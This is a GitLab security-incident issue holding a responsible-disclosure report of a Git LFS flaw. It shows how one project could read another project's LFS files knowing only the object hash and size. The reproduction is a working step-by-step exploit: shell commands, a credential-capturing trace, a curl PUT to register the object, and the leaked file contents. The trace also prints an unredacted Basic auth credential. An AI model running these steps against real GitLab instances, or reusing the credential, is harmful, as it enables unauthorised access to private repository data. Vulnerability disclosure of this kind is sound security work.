This project is archived. Its data is read-only.
Sign in or sign up before continuing. Don't have an account yet? Register now to get started.
Register now

Users can access the content of any LFS object when only OID and size are known

  • Oncall service: Security Responder
  • Assigned to: Jan Urbanc
  • Date: 2018-11-27T09:01:09Z
  • PagerDuty URL: https://gitlab.pagerduty.com/incidents/PI3GZRO

Possible vulnerability in git's LFS

This came in through email - https://gitlab.zendesk.com/agent/tickets/108969


From Maxim Ivanov (nakhodainfra@linklaters.com)

This is a responsible disclosure of a vulnerability in Git LFS handling. Verified using version 11.4.5. Please involve security team in triaging this report.

Summary

If project A has file X in it's repository as a Git LFS tracked file, then any other project can retrieve this file knowing only hash and a size. This is possible due to lack of validation of the object PUTed to .../repo.git/gitlab-lfs/objects/:oid/:size

Steps to reproduce

This demos shows a leak of a file from Project A to Project B. /etc/hosts is used as a demo file, but obviously it can be anything

Prepare project A

$ git lfs install 
... 
$ cat > .gitattributes <<EOF 
hosts filter=lfs diff=lfs merge=lfs -text 
EOF 
$ cp /etc/hosts hosts 
$ git add hosts .gitattributes 
$ git commit -m "Adding hosts file" 
$ git push 

Show Git LFS oid of the file tracked by Git LFS. This is all attacker needs to know to get access to the file:

$ git cat-file -p HEAD:hosts 
version https://git-lfs.github.com/spec/v1 
oid sha256:fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6 
size 642 

Project B

project B owner uses LFS OID and size only to recover full file from project A.

$ git lfs install 
$ git lfs ls-files # shows that now LFS managed files are present yet 
$ # create `hosts` file exactly in the format as git-lfs saves it in git tree, use `oid` and `size` of the file we want to peek at 
$ cat >hosts <<"EOF" 
version https://git-lfs.github.com/spec/v1 
oid sha256:fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6 
size 642 
EOF

$ cat > .gitattributes <<EOF 
hosts filter=lfs diff=lfs merge=lfs -text 
EOF

$ # we need to get credentials for `PUT` command, so lets attempt to push and see them

$ GIT_TRACE=1 git push 
11:22:03.332699 trace git-lfs: HTTP: {"objects":[{"oid":"fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6","size":642,"actions":{"upload":{"href":"https://gitlab.ci.i.nakhoda.ai/apps/sandbox.git/gitlab-lfs/objects/fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6/642","header":{"Authorization":"Basic bWl2YW5vdjo0V0NtRFF6d3ZNc20zZW1pQmlxYnlYYkRFWXZMOEhEeHhBcTlfeW5GUTZMdVFBODdwUQ==","Content-Type":"application/octet-stream"}}}}]} 
11:22:03.332899 trace git-lfs: tq: starting transfer adapter "basic" 
...

$ # if we do `git lfs pull` here, then we'll get an error , because `oid` we try to peek at is not yet associated with the project, lets correct it

$ # following PUT adds `oid` of the file we want (originally stored in Project A) to the project B , so that `oid` becomes "known" to it. We use temporary credentials (XXXXXX) from previous unsuccessful git push 
$ curl -v -H "Authorization: Basic XXXXX" -XPUT https://gitlab.ci.i.nakhoda.ai/apps/sandbox.git/gitlab-lfs/objects/fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6/642 --data-binary @- </dev/null

$ # now git lfs pull pulls the file from Git LFS 
$ git lfs pull

$ cat hosts # show content of the file "stolen" from project A: 
# 
# hosts This file describes a number of hostname-to-address 
# mappings for the TCP/IP subsystem. It is mostly 
# used at boot time, when no name servers are running. 
# On small systems, this file can be used instead of a 
# "named" name server. 
# Syntax: 
# 
# IP-Address Full-Qualified-Hostname Short-Hostname 
#

127.0.0.1 localhost

# special IPv6 addresses 
::1 localhost ipv6-localhost ipv6-loopback

fe00::0 ipv6-localnet

ff00::0 ipv6-mcastprefix 
ff02::1 ipv6-allnodes 
ff02::2 ipv6-allrouters 
ff02::3 ipv6-allhosts 
Edited Jan 08, 2019 by Nick Thomas
Assignee Loading
Time tracking Loading